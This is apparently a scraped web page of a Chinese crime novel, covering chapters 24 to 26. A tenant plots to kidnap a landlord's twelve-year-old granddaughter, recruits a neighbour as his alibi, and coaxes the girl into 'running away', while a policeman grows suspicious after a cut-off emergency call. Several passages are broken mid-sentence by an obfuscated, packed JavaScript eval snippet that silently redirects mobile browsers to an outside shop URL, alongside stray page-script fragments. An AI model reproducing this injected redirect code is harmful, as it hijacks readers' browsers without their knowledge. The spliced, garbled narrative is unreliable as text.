她还想起它们曾为了一个罐头围绕在她身边,喵喵叫着,拼命摇尾巴的情景。那时候,她总说罐头吃多了不好,严格控制它们每天的摄入量。 如果知道它们只有那么一小段好日子可过,她怎么会无视它们渴望的眼神,将罐头藏进深深的抽屉? 如果知道那一天的仗义执言会让自己的三个孩子惨遭非命,她怎么会让蔡岛嘉活着离开这个小区? “妈妈好后悔。”她凝视着三个花盆,喃喃自语。 后悔在活着的时候还对它们不够好。 后悔那天没有杀了蔡岛嘉。 后悔嫁给那个人。 后悔出生。 “这一次,”她低声说,“妈妈绝不会再选错了。” 她拿出最后一个罐头,拉开拉环后喂给笨笨,接着把花盆还原,重新戴上墨镜,拄上盲杖,变回了那个连走路都会摔倒的盲人夏禧。 回到自建楼时,她刚好碰上散步归来的何阿公。夏禧满面笑容地和对方打了个招呼,走进自建楼中。 一楼客厅的电视机开着,但却无人观看,餐厅里散发着晚餐后残余的食物香气。她一手扶着楼梯,一手牵着笨笨,缓缓走上了三楼。 蔡岛嘉正在三楼等她。 “你怎么才回来?”他不快地说。 “我遛狗呢,有什么事吗?”周遭无人,她把墨镜抬到额头上,挑眉说道。 笨笨又一次朝蔡岛嘉大叫起来。它虽然叫笨笨,但却一点都不笨,知道什么人好,什么人坏。 蔡岛嘉皱起眉,不耐烦地说:“我有重要的事情和你说。” “等我一分钟。”她说。 门锁咔哒一声转开,夏禧把笨笨领进屋,给它打开昏黄的顶灯,又蹲下身抚了抚它的脑袋,说不清是在安抚它的警惕,还是安抚自己的杀意。 直到她的表情松成一张平静的壳,才起身掩门,朝隔壁走去。 “这么着急,是有什么进展吗?”夏禧进门后,开门见山地问道。 蔡岛嘉没有立即开口,他从衣柜里拿出那个黑色的盒子,取出里面的红外探测器,开机后放到了桌上。他盯了几秒,像确认心跳,然后才把目光移回她脸上。 “我知道是谁拿走墙后的钱。何序。”蔡岛嘉坐到床边,“他买电子设备的时间正好是二月前,和废报纸的时间能对上。朵朵下午说的。我刚知道,就来和你商量对策。” 夏禧的视线从红外探测器移回蔡岛嘉脸上:“你有什么对策?” “先回答我。当初我们说好墙后的钱一人一半——为了这一半,你最多做到哪一步?” 蔡岛嘉目不转睛地盯着她。 “不杀人是我的底线。”夏禧的后背贴上没有温度的墙壁,双手抱臂,平静地望着他,“杀了人,引来警察,那就麻烦了。” 她话音未落,蔡岛嘉就接着问道: “那绑架呢?你敢吗?” “……你要绑架谁?” “朵朵。”蔡岛嘉说,“何序的女儿,何家的独孙。就算拿钱的不是他,绑了她,何家也会把钱交出来。” “拿到钱之后呢?朵朵怎么处理?”她问出问题的关键。 蔡岛嘉沉默了一瞬,然后说: “我会想办法让她保守秘密。” “你敲诈她的家人,却想要她帮你保守秘密?你没疯吧?”夏禧笑了。 “我有办法让她闭嘴,就算她说漏了嘴,何家人也不敢报警。那笔钱又不是他们的,他们凭什么报案?” 蔡岛嘉冷笑着说: “我早就想好了,按我们那袋钱的数量计算,墙后五袋至少还有二十五万美金,也就是两百多万的人民币。我们只要一百六十万,给他们留四十多万。他们不报警,还有肉汤喝,报警了,他们就得陪我一起进去。” 夏禧皱了皱眉:“这是为什么?” 蔡岛嘉露出得意的神情,法律,是他在少管所时学得最多的东西。学法有用吗?当然有用。 “他们明知墙后的钱来路不正,还替换包装、转移钱款,这是隐瞒犯罪所得收益罪。情节严重的,会处三年以上七年以下有期徒刑。换你,你报警吗?” 这是一个简单的选择题。 “所以,就算朵朵被绑架,为了隐瞒自己的罪行,何家人也不会轻易报警。”夏禧若有所思。 “没错。”蔡岛嘉说,“最不愿意报警的那一个,一定就是换走了墙后美金的人。有他在何家人内部阻拦,引来警察的风险就会降到最低。” 他再次逼问:“你只需要告诉我,墙后的钱你还想不想要?” “当然想要。”夏禧站直了身体,放下双臂,“就算是一百六十万,一半也是八十万。我不吃不喝一辈子也挣不了那么多钱。” 蔡岛嘉刚要说话,门外传来有人大步走上楼梯的吱呀声。他立即闭上了嘴,身体紧绷成一块铁板。 短短数秒后,催债似的敲门声响起,何阿婆大着嗓门在门外说:“蔡岛嘉!出来,换门锁的到了,你来亲眼看着换噻。免得又在戚警官面前叽叽歪歪!” 蔡岛嘉和夏禧对视了一眼,后者已经自觉站到了门后,贴着墙站立。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她退出录音,在手机浏览器上戳戳点点,打出帮家两个字,光标停顿一下,连忙将其吞噬,她更加细心地输入,打出绑架,再加上一个罪字,点击了回车。 页面迟缓地转着圈,她耐心地等待着画面吞吐出需要的东西。 “绑架罪是《中华人民共和国刑法》第二百三十九条规定的罪名……犯罪主体为年满16周岁具有刑事责任能力的自然人,以勒索财物为目的偷盗婴幼儿的也按本罪论处。法定刑为十年以上有期徒刑至死刑,情节较轻的处五年以上十年以下有期徒刑。” 再加上他刚刚说的隐瞒……什么收益罪?最少也是三年。一来一去,足够蔡岛嘉在监狱里耗尽青春。等他出狱后,等待他的将会是一事无成,漫长的煎熬人生。 夏禧点开拨号界面,缓缓按下了“1”、“1”、“0”三个数字。 拨出。 “嘟、嘟、嘟……” 电话接通了,她深呼吸一口气,准备说话。 就在这时,她听到了声音。 不是脚步声,而是呼吸声。近在咫尺的呼吸声。 一楼何阿婆斥责蔡岛嘉的声音遥远地传来。门依然还锁着,本应只有她一人的房间,却多出了另一只手,那只手从她身后伸出,箍住了她拿电话的手腕。 一股尖锐的电流顺着皮肤相接的地方射向夏禧紧缩的心脏,冷冰冰的恐惧随血液流往四肢。 笨笨乖巧地坐在地垫上,黝黑的眼珠看着两人,尾巴在身后轻轻摇晃。 “喂?这里是110,请问您遇到了什么问题或紧急情况?”手机听筒里传来女警的声音。 夏禧的视线顺着那只手往移,落到对方的面孔上。 “喂?您能听见吗?”手机里又一次传出声音。 她的喉舌像被强力胶黏住了,即使动了嘴唇,发出的只有残破的呼吸。 那是一张她永远也想象不到的脸。 三秒后,电话挂断了。 夏禧的房间里只剩死寂。 24. 第 24 章 夜色幽静,街边高耸的路灯投下昏黄的灯光。光团中有无数蚊蝇飞蛾扑火,灯座边已有大量它们的尸体。 一个穿黑T恤的中年男人,正专心致志地往路灯上张贴“□□”的小广告。 一束手电筒的灯光打在了他的脸上。 “看得见吗?要不要我帮你打个灯?”一个声音从他身后传来。 男人转过头去,看见身穿制服的戚迪,吓得一个踉跄,转身就跑。戚迪追了上去,几下就制服了男人,没收了他手中的滚筒和喷胶等物。 “老实点,跟我回所里!”他用力按住男人后颈,后者完全紧缩成一团,面色惨白。 戚迪把男人带回派出所,正好碰见梁芸和一名年轻辅警要出门。墙上挂着的圆形挂钟时针正指向九点。 “去哪儿?”他随口一问。 “110指挥中心那边有个报警,回拨不通。让我们就近过去核实一下人身安全。机主叫夏禧,定位落在八里村——就是上回发现猴手那栋楼。” “我也去。”戚迪心跳加速,想也不想道。 他把贴小广告的男人推向辅警,连带着那些作案工具也一并塞到对方手中:“这个,贴按摩小广告的,被捉了个现行。你带去核查身份,录个笔录。” 他和梁芸一并往外走去,罕见地主动坐上了驾驶席。本来已经习惯性要去开车的梁芸见状,停顿片刻,坐上了副驾。 系安全带的时候,她说:“平时没见你这么积极过。” 戚迪的目光通过后视镜飞快地扫过她的脸:“嗐,这不是向你学习吗,咱也要进步啊。” 梁芸没有追问。 “你是信了还是没信?”他干笑道。 “这不重要。”梁芸目不斜视,望着车窗外的夜色。 有时候他会感到嫉妒,不仅是因为这个比他小上几岁的女警有不亚于他的工作能力,还因为她身上有一种敏锐而克制的情感上的天赋。他无法用言语形容那种天赋,他从没见她笑过,更没见她趋炎附势,拍谁的马屁,她就带着那张冷冰冰的脸,获得了所里上下一致的好评。 没错,包括他的。一个大家见了只会摇脑袋,嘴巴一张就能让人不高兴的“狗不理”的好评。 这是最让人生气的地方。他竟然找不到嘲讽她的理由。 “靠。”他一打方向盘,“你如果是个男人,我真想揍你。” “你现在也可以揍我,”梁芸说,“但要做好被我打趴下的准备。” 巡逻车驶过夜色中八里村静谧的巷道,从一杆杆晾满衣物的竹竿下穿过,来到那栋熟悉的自建楼门口。三层小楼里里外外都亮着,里面还传来若有若无的说话声。 “你留在车上警戒。”不等梁芸说话,戚迪已经开门下车。他确认对讲机和手电筒都可以正常使用后,上前拍响了黑色的铁门。 “哪个瓜娃子大晚上的还——” 十几秒后,趿拉着塑料拖鞋的何阿婆不耐烦地拉开了铁门。她的抱怨在见到身穿警服的戚迪时戛然而止。 “戚警官?这是咋了?” “夏禧是你们的租客对吧?”他说,“我们接到她的报案电话,现在联系不上她的人,需要确认她的安全。她在家吗?” “她啥案情?大晚上的你莫吓人!”何阿婆变了脸色。 “……不是案情,是安全。”戚迪说,“我们要确认她的安全。” “在啊,刚刚我还看见她呢。”何阿婆瞪大眼睛,回头看了眼入户大门,“她能报什么警?按错号码了吧?” “我能进去吗?”戚迪例行征询了一下意见,目光落在何阿婆依然拦在铁门上的手。 “啊,哦——进呗。”何阿婆回过神来,声音一下大了,“你来得正好,今晚正在换锁呢!你亲眼看看,我是不是说话算话?现在的房东不好做啊,戚警官,我跟你讲,那个蔡岛嘉就不用说了,没有少爷命偏有少爷命,天天换着法子给我提要求,嫌弃我做的饭不好吃,钱又不肯多给,上次还因为拉屎太硬把我三楼的厕所给堵了——” 戚迪大步往里走去,何阿婆紧随其后,铜锣一般的嗓子高亢尖锐: “女租客稍微好点,是个正常人。就是眼睛不方便,老让我们帮她冲奶粉什么的……不过邻里邻外也没啥,就是蔡岛嘉!这个小伙子,心眼多哦,上次的那个什么检查器……你也看到了噻?人家总觉得我们要害他哦!” 戚迪走进一楼,环视一圈,只看到了刚从主卧开门走出的何阿公。他穿着深蓝色的棉质睡衣,像是准备要睡下的样子。 “戚警官?这是……”他疑惑地看向何阿婆。 “说是三楼那个女租客,打了报警电话但联系不上了。”何阿婆说。 “哎哟,那得上去瞧瞧。”何阿公一脸担心,跟着戚迪往楼上走去。 “能有啥时啊,刚刚我还看见她呢。我和师傅,还有那个蔡岛嘉小子,在二楼换锁,她还来瞄了一眼呢!”何阿婆骂骂咧咧地走在最后,一脸笃定道,“一定是她养的那条狗——笨得要死,按到了手机。” 三人走上二楼,两扇房门先后闻声而开。 何阿婆又抢在戚迪前面,把刚刚的话对何序、徐朝颜,朵朵解释了一遍。 来到三楼的人更多了。 三楼,换锁师傅见到这仗势,吓了一跳,手里的螺丝刀差点没握住。旁边是立即绷紧了身体的蔡岛嘉,以及毫发无损,一脸茫然的夏禧。她穿着明显不配套的睡衣,扣子也是扣错了排,头发半湿地披在肩上。 “我听到了好多人的声音,你们都上三楼来啦?”她的目光在墨镜后毫无焦点地梭巡。 “是戚警官来了,他说你报了警。这是什么意思?”何阿婆一马当先问道。 “报警?啊——我知道了。我还以为没打通呢!对不起,对不起了,戚警官,乌龙一场——”夏禧露出惊慌的神情,“我之前在厕所洗澡,没注意摔倒了,疼得起不来,没办法就报警了。但是小徐刚好路过,我就把电话挂了。她把我扶了起来,我休息了一会就没事了。” 戚迪转身看向人群中的徐朝颜。 “是这样吗?” “是啊。”徐朝颜愣愣地说,“我上楼晾衣服,正好听到她在厕所里喊人,我就去把她扶起来啦。” “其他人没听见?”戚迪问。 “都在看换锁呢,谁能听见?”何阿婆眉毛提得老高,和她的音量一样,“你倒是看看这锁啊,戚警官。都是你的要求,我才让我儿子在网上买的,这今天刚到,我就叫师傅来换上了。我跟你讲,我们那个年代的人就是有信誉,说什么就是什么,不像现在的年轻人……” 她意有所指地看向蔡岛嘉,后者像见了猫的老鼠一样避开了视线。 “那我们后来给你打的电话,你为什么不接?”戚迪问。 “何阿婆让我亲自看着换锁,我手机放在房间里,没带出来。真是不好意思,没想到给你们添了这么多麻烦,还让你亲自上门——”夏禧手忙脚乱地道歉。 “什么啊,这是怪我?”何阿婆骤然发怒。 “没有,没有,我只是解释没带手机的原因,怎么可能是怪你呢?”夏禧连忙说。 何阿婆从鼻腔里重重地哼了一声,头发上的发卷也跟着抖了一下。 戚迪的对讲机响了一下。 “情况怎么样?需要支援吗?”梁芸的声音随着电流传来。 戚迪怀疑的目光在夏禧和其他人的脸上扫视,他看得出来,有人没说真话。或者说,没人说真话。 现在早已不是一声令下,先把人拿下带回局里再审的年代了。即便知道这里充满谎言,他也只能暂时装聋作哑。 “没事。见到夏禧了,人安全。”他简短地通过对讲机传达了事件情况,然后对夏禧说道,“既然人没事,那就写一份情况说明,我要带回所里。” “好的,好的,真是太不好意思了……” 真的是一场乌龙吗? 他会找出答案的。 “小蔡,麻烦你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728005|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我找一张纸和笔。我房间里没有。”夏禧抱歉地说。 蔡岛嘉愣了一下,看了眼戚迪,转身走回了房间。过了一会,他拿出一个小本子和笔,递给夏禧。夏禧把本子放在楼梯扶手上,一笔一划地写了起来。戚迪瞥了一眼,她的字歪歪扭扭,全都穿过了本身的格子线。 “在这里写不方便,你为什么不回房间写?”他盯着夏禧的脸,等待着哪怕一丝一毫的异变。 “我文化程度低,字也写得难看,没那么多讲究。”夏禧笑了笑,低着头继续往本子上写字,“等我走回桌前,这说明早都说完了。” 戚迪朝那扇换了一半,虚掩着的房门望去。透过昏暗的光线,他看到了半面被子铺得整整齐齐的床,靠窗的一个书桌,以及夹在二者中间的,安静的木制婴儿床。 “孩子没被换锁吵醒吗?”他问。 夏禧写字的笔停顿了一下。 “在我前夫那里呢。”她若无其事地说,“被他奶奶接过去了,要下周才接回来。” 情况说明写好了,夏禧撕下那一页递给戚迪。后者看了看,折好了放进外衣口袋。 “既然没事,我就回去了。有事情再联络。” “行,那我送你……”何阿公说。 “不用,你年纪大了,也不方便。让蔡岛嘉陪我下去就行了。我正好有几句话和他说。”戚迪打断他的话。 “让小蔡送?这……”何阿公看向蔡岛嘉。 蔡岛嘉没想到自己会被点名,脸上闪过一丝错愕,但在接触上戚迪的视线后,他心虚地移开了目光,也不敢拒绝。 “好吧。”他神色勉强,抬脚朝他走来。 两人一前一后走下楼梯。 “我上次说空了喝一杯,你看你什么时候有空?”戚迪走在前面,用一种随口闲聊的口吻说道。 蔡岛嘉盯着他的后脑勺,脑子转得飞快。 “可能最近都不行。跑车本来事情就多,尤其是最近暑假,旺季。打车的人也多了。好不容易下班下来就想躺床上休息呢。还是等这暑假过去再说吧。” “你们跑出租的,和我们一样,昼夜颠倒。累得不行。”戚迪说,“我认识一个老板,他正在找人给他开车。你有经验,要不要我推荐你们认识一下?” “算了算了,我可不想再给老板开车了。”蔡岛嘉笑得很僵硬。 “我听说,工资能给到一月五位数呢。” “算了,多谢你的好意,戚警官。我就不是那块料。”蔡岛嘉再次说。 “人各有志,那我就不劝了。行了,你回去吧,我也没什么事了。”两人走到铁门前,戚迪转身看向蔡岛嘉,“有什么事,联系所里,或者直接联系我都行。” “好,一定一定。” 戚迪点了点头,走向不远处的巡逻车,没再回头。 梁芸站在车门外,看着蔡岛嘉毫不犹豫地关上铁门缩回黑暗,而她的搭档,则开门坐上了副驾。梁芸放下按在腰间的手,开门坐上驾驶席。 引擎点燃的声音打破了车内的寂静。 “你认识哪门子老板?卖猪脚饭那个?”她凉凉道。 “这不重要。”戚迪望着窗外,沉浸在自己的思绪中。 在跟踪被发现后,他调取了近几日的自建楼外的街道监控。蔡岛嘉分明已经许久没有出车了,却要伪装成跑车繁忙的样子,甚至就连月薪过万的工作也没有打动他。 2008年,我国的城镇居民人均可支配收入为一年15781元,平均下来为1315元一月。他故意提出一个高到不合理的薪资,就是为了观察蔡岛嘉的反应。 这个数字就算不令人完全心动,至少也会激起人们的好奇心。蔡岛嘉却什么都不问,一口就回绝了。 这说明他正在图谋的,是比这还要大得多的利益。 “梁芸。”他忽然叫出搭档的名字。 “嗯?” “再帮我一个忙,我想看刑警大队关于田永案的所有内部档案。” 25. 第 25 章 透过铁门的缝隙,蔡岛嘉盯着警车红蓝交替的尾灯消失在巷口,他像从水底浮出,胸口的闷气哗地散开,五指从门缝上缓缓松开。 燥热的晚风吹进他敞开的衣领,黏湿的汗水浸透衬衫,贴在皮肤上令人烦躁。然而此刻他却顾不上这些。脑海里那个疯狂的念头再度浮现,如同夏夜挥之不去的蚊声,在耳畔嗡嗡作响。 他返回自建楼中,和刚好下楼的何阿公打了个照面,简单地点头打了个招呼后,快步踏上自建楼狭窄的楼梯。楼道里昏暗逼仄,每一步踩上去木板都发出“吱呀”一声。二楼尽头,何阿婆正站在主卧门口,向何序和徐朝颜絮絮叨叨: “你说这锁换了,要不要顺便把窗户也钉上铁栏?我听那老陈家的说,隔壁村出贼了,专门爬那没装防盗窗的楼呢!” “别!”徐朝颜皱了皱眉,“太丑了,可别装。咱家又没值钱的东西,贼来了偷什么,你攒的废纸壳吗?那我希望他多来几趟。” “什么丑不丑的,就知道看这些不实用的!你身上还有那么多丑娃,你最丑!”何阿婆骂道。 “HelloKitty哪里丑了!那么可爱!” “我和你说得通才有鬼,走走走,一边去。何序,你说——” 蔡岛嘉敛住气息,借着楼梯拐角的阴影绕过这对婆媳。他不想在此刻引起注意——他贴着墙角走,脚步轻得只剩布料相擦的沙沙。 换锁师傅已经换好了夏禧的门锁,提起工具箱,和他擦身而过,大步走下楼梯。二楼立即传来何阿婆的大嗓门:“多少钱啊师傅?咱们都是老熟人了,上门费就不收了吧?这也没费多大功夫——” “这是你的新锁。”夏禧把冷亮的钥匙抛来,金属在空中一闪,落进他掌心里,“这下没人能开错房门了。” 蔡岛嘉把钥匙随手揣进裤子后兜,拉着夏禧进了他的房间,咔嚓一声反锁上门。 房间顿时陷入黑暗,窗外远处的街灯透进一道昏黄的光,在地面投出模糊的影子,像囚笼一般横亘眼前。红外探测器依然在桌上缓慢地闪烁着红光。他猛地推开窗,一股闷热的空气扑面而来。远处城墙般的高楼灯火通明,将八里村的小楼衬得愈发漆黑孤寂。他望着脚下黑黢黢的院子,心跳声与耳边的蝉鸣交织一起。 他转过身,目不转睛地盯着被光线分割在黑暗中的夏禧,借着蝉鸣的掩饰,低声说: “接下来我要说的,是具体的计划。如果你想退出,现在还来得及。” 夏禧靠在墙上,把墨镜取下,挂在胸前的上衣口袋里。 “八十万的事情,你赶我走我也不走。你打算怎么做?” “朵朵信任我,我只需要在她和家里起冲突的时候,怂恿几句,她就会什么都听我的。”蔡岛嘉说,“你的任务很简单。等朵朵失踪以后,你就假装我一直和你待在一起,给我做个不在场证明。其他的事,我来做。” 说这话时,他脑中已飞快过了一遍思路。只要他表现得和其他人一样惊慌、无辜,何家人就不会马上怀疑他。更何况,何家内部也有人害怕牵连警察,暴露墙里的秘密。报警的可能性极低。 “他们会信吗?”夏禧问。 “我们没有利益牵扯,也不是亲属,只是偶然合租的房客。正因这样,你的话才更有可信度。” “就算按你说的发展了……你打算把朵朵放在哪儿?” 蔡岛嘉心中摇起警铃,马上变得防备: “这个你不用知道,知道太多对你没好处。” “那万一他们报警了——”夏禧看着他,神情隐没在晦暗的光线中,“你会撕票吗?” 蔡岛嘉没说话。因为他自己也没有想清楚。他会等他们报警后撕票吗?还是…… “袋子里的钱,分我一半。” “这样我就可以自己买麦当劳吃了。” 那张看似天真的面孔又一次浮现在他眼前。一个十二岁就敢勒索的孩子,让他想起了将婴儿淹没在水下的那个十四岁的自己。 “他们不会报警的。真到那时候,我说了,我有办法。”他避开夏禧的目光,不耐烦道,“别的你不用管,帮我作证就行了。” “好吧,那我乐得轻松。”夏禧拿起墙边的盲杖,把胸前的墨镜戴回脸上,“没别的事,我就回去了?” 蔡岛嘉点了点头,夏禧开门,拄着盲杖出去了。门扉轻轻合拢,她的脚步声由近到远,移动到了隔壁,随着床板发出的吱呀一声,静止不动了。 他转身看向窗外,望着夜幕下被城市包围的巷道,指尖无意识地敲击着窗台。胸腔内有火在烧,那火苗舔舐着他的理智,同时又令他的血液隐隐沸腾。上一次这样是什么时候? 是十四岁的夏日,也是二十四岁的夏夜。还是八岁的某一天,第一次将小刀捅进兔子贝贝的身体,看着鲜血染红纯白的兔毛时。 执掌其他生命,与神无异。 接下来数日,他一直在等待机会。 8月1日,骄阳似火,院子里的空气仿佛凝滞在炽热的水泥地面上。何阿婆在入户大门前叮叮当当地一阵猛敲铜钟,震耳欲聋的噪音让楼内所有人迅速集结在备好饭菜的午餐桌前。 “朵朵,这都八月了,你的暑假作业做完了吗?”何阿公慈眉善目地问道。 蔡岛嘉正在检查自己饭碗里怎么没有米饭全是锅巴的筷子一下子停住了,他竖起耳朵,聚精会神地倾听着桌上的谈话。 “才八月呢,还早。”朵朵不以为意地在一盘青椒炒肉里寻找肉丝。 “早什么早,你九月就要开学了。你还想等着作业堆到最后一天来写啊?写得完吗?”何阿婆也催促道,“徐朝颜,你女儿的学习,你是一点不管是吧?” “管啊,我怎么没管,但现在的孩子,你管有用吗?”徐朝颜说。 “真管肯定有用,假管就没用!你要是把我孙女养成你那样,我跟你讲,我和你没完。”何阿婆翻了一个白眼,接着瞪了朵朵一眼,“下午不许看电视了,去写作业。早点写完早点拉长了来玩不好吗?” 朵朵一脸不乐意,撅起小嘴,从菜盘子里收回筷子,心不在焉地翻着米饭。 机会来了。蔡岛嘉心中暗喜,只想尽快结束午饭,连碗里的锅巴也顾不上嫌弃了,接二连三地放进嘴里。 午餐后,他趁朵朵独自一人在院子里踢着槐树生闷气,悄悄走出自建楼,来到她身边。 “朵朵,还在生气啊?”他状若无意地搭话道。 “……哼。我朋友们都是等假期快结束才开始写作业的,为什么我就不可以?” 她头也不抬,不满地嘟囔,额前的刘海被汗水浸湿贴在额头,蓝色的运动鞋不断碾着树根。 老槐树斑驳的树影落在蔡岛嘉的脸上,半明半暗。他回头看了眼自建楼,确认无人关注这边后,低声对朵朵说: “大人都是这样的,我小时候,爸爸妈妈也总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728006|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是逼我写作业。他们一点都不懂我们。” “就是!”朵朵气恼地说,“读书读书读书,他们恨不得我一天二十四小时都读书,最好一天能当二十五小时过,剩下一个小时还能做做家务。” 蔡岛嘉顺势叹道:“对啊,所以小时候我受不了了,离家出走了几天,结果我父母被吓到了,自那以后,再也不敢逼我写作业了。” “离家出走?那你住哪儿,吃什么?”朵朵的注意力被吸引过来,停下了碾树根撒气的动作。 “住朋友家呗,有吃有喝,还能一直看电视。”蔡岛嘉循循善诱,如同在说一件极平常的事:“你不是很生气吗?要不就出去走走,别理他们。等他们真正着急了,就知道以后不敢再这样管你了。” 朵朵睁大眼睛,显得十分意动:“可、可是……我不知道找哪个朋友。万一她们的父母告诉我爸妈呢?” 蔡岛嘉装作纠结的样子,停顿了半晌,然后才说:“你要是信我,我给你找个地方。可以看电视,也可以玩电脑,没人管你做什么。想吃麦当劳我就给你送。” “真的吗?”朵朵完全兴奋起来,“我当然信你了,小蔡哥哥!带我去吧!” 她的眼神一亮,他眼底也跟着闪了一下,随即按下去。他伸手摸了摸朵朵的脑袋:“那我们说定了哦。不过这事千万不能让别人知道,连你最好的朋友都不能说。” “我不会说的!”朵朵挺起胸膛。 “真聪明。”蔡岛嘉满意地点点头,随即压低声音嘱咐道,“你今天先装作什么事也没有,像平时一样吃饭、睡觉。等晚上家里人都睡着了,你就把你的小书包收拾好,带上换洗衣服和洗漱的东西,再带点你喜欢的玩具——” 他故意停顿一下。 “还有小咪,你不是说不能丢下它吗?也一起带上。” “嗯!”朵朵连连点头,脸上终于露出一个笑容。 “记住,等家里人都睡了,你再轻手轻脚地下楼,到上次我们见面的地方等我。”蔡岛嘉竖起一根手指放在唇边,“千万别让人发现。只要你不说,我不说,谁都不会知道你去了哪儿。等你玩两天再回来,就没人敢逼你学习了。” “知道啦。”朵朵也学着他,举起食指放在唇边,“嘘——保密!” 蔡岛嘉心底掠过一丝异样的感觉。但他很快掐灭那点迟疑,说:“去吧。记得,今晚见。” “今晚见!” 望着朵朵欢快的背影消失在院门后,蔡岛嘉嘴边笑容渐渐敛去,取而代之的是一片冰冷的阴霾。 夜色渐深,自建楼里逐渐安静下来。万籁俱寂中偶尔传出窗外野猫的叫声,以及远处摩托车冲刺飞过的低沉轰鸣。 随着一楼客厅里的挂钟时针指向十二,整栋楼似乎都陷入了沉睡,连野猫叫声也在不知不觉中消失了。 清亮的月色中,自建楼前挂着锁链的铁门发出极轻微的“吱呀”声。 一道纤细的身影从门缝里钻了出来。幽暗的小巷里,十二岁的女孩背着鼓鼓的小书包,小心关上铁门,又蹑手蹑脚沿着墙根朝街口走去。她怀里紧紧抱着一个用旧围巾裹着的小笼子,里面传来细微的吱吱声。 三楼的一扇窗户后,有人轻轻拨开窗帘一角。夏禧站在黑暗中,借着巷道尽头微弱的路灯光,看见朵朵瘦弱的身影渐行渐远,最终消失在夜色里。 她的面庞在光影之间忽明忽暗,像夜风压着水,纹路起了又散。 26. 第 26 章 翌日清晨,天刚蒙蒙亮,楼道里还挂着夜里的潮气,墙角的拖鞋歪在门垫旁,蔡岛嘉终于等到了楼下惊慌失措的呼喊声。 “朵朵——朵朵不见了!” 自建楼几乎是被徐朝颜慌张的呼喊从睡梦中拽醒,不一会,就像巨大的虫穴忽然之间苏醒,门把一阵接一阵地转动,卧室门板撞到墙面发出闷响,急促的脚步把狭窄的楼道挤了个满满当当。 蔡岛嘉匆忙套好衣服,故意又磨蹭了几秒,这才揉着眼走出房间,装出一副刚被吵醒的样子。他和同样刚刚开门的夏禧撞了个照面,两人目光只在对方肩头掠过,像躲开一枚滚烫的钉子,各自把步子放轻,先后来到人群汇聚的二楼。 “什么情况?发生什么事了?”他问,眼神在众人脸上掠过,又迅速收回。 夏禧也一脸关心,拄着盲杖慢慢靠近:“我听说朵朵不见了,怎么会这样?” 何阿婆披着一件没系扣的家居外套,头发在脑后团成一团乱茬,眼袋像塞了两小包盐。本就凶恶的面庞此刻更加生人勿进,她瞪着徐朝颜,机关枪扫射般一字不停地说道: “你们找了房子其他地方吗?天台?院子?” “找了、我找了!没有看到,我喊也没人答应……”徐朝颜慌慌张张地说,“她房间里的床都没乱,看上去昨晚就偷偷跑了。” “朵朵这孩子一直很听话,不会让我们担心的。”何阿公穿着昨晚蔡岛嘉才见过的灰蓝色家居服,安慰道,“说不定是起得早,偷溜出去玩了。看看她的小老鼠还在吗?” 何序走进朵朵的房间,门内传出抽屉被拉开的滑轨声和衣柜门轻轻磕到墙的碰响。过了一会,他走出来,脸色更难看了。 “书包和花枝鼠都不见了。她还带走了几件衣服。” “哎呀,这可怎么办?昨天还好好的,怎么会……”何阿公的神情也焦急起来。 “还不是你!”何阿婆猛然转头,尖厉地冲徐朝颜吼道,“天天就晓得玩手机玩电脑!娃娃有样学样,现在跑了,你高兴了哦?!” “反正什么都要怪我……”徐朝颜涨红了脸,像要吐出什么恶毒的东西,但却反而被自己噎住了一样,她用力推了推身旁的何序,“老公,孩子跑了,你说句话呀!” 何序皱着眉:“都别吵了,冷静点,先找人要紧。”他说着,看向众人,“麻烦大家都出去帮我们找找——街上、小区里,这孩子就算走也不会走太远的。” “好,我出去问问,兴许有人看见过朵朵呢。”夏禧一副热心肠的样子,第一个响应,“小蔡,你也帮帮忙吧?” “……应该的,我这就开车去路上看看。”蔡岛嘉连忙说。 “爸,你去公园找。妈,你去花鸟市场。我和朝颜在八里村里问问街坊邻居。”何序接着说。 整个何家顿时乱作一团,各人忙着各就各位。 蔡岛嘉表面装作担忧,脚下步伐飞快,内心却异常冷静。出了自建楼,蔡岛嘉开上黄色出租车驶出八里村,阳光从前挡风玻璃压下来,方向盘摸上去发烫,空调出风口吹出的仍是带热的风。 他没有去巡视路边,因为他知道那只是白费功夫,他们在找的人,现在正如痴如醉地玩着电脑游戏呢。 炽热的太阳悬在空中,毫不留情地炙烤着大地。随着时间流逝,院里的槐影越压越重,屋内的影子被吊扇的影叶切成一段一段。众人几次返回自建楼交流情报,但却毫无所获。一开始何阿公还会劝慰众人“说不定这孩子晚上饿了自己就回家了”,但夜色的逼近,让他们的这份希望也逐渐落空。 当时间来到八点,最后一个回来的何序夫妇也坐到了一楼客厅里。 大多数人都神色疲惫憔悴,蔡岛嘉也装作灰心的样子,一言不发地垂着头。何阿婆给所有人面前都倒了杯水,就连蔡岛嘉面前也有。但没有一个人拿起杯子,凝重的空气中,有什么正在蠕动,试图从沉重中破土而出。 客厅比往常更加闷热,老旧的吊扇吱吱转着,将一室焦灼不安的气息越搅越乱。 “还是没有消息。”何序用纸巾擦掉鼻尖和后颈的汗,声音沙哑得像是干旱了一季的树木。 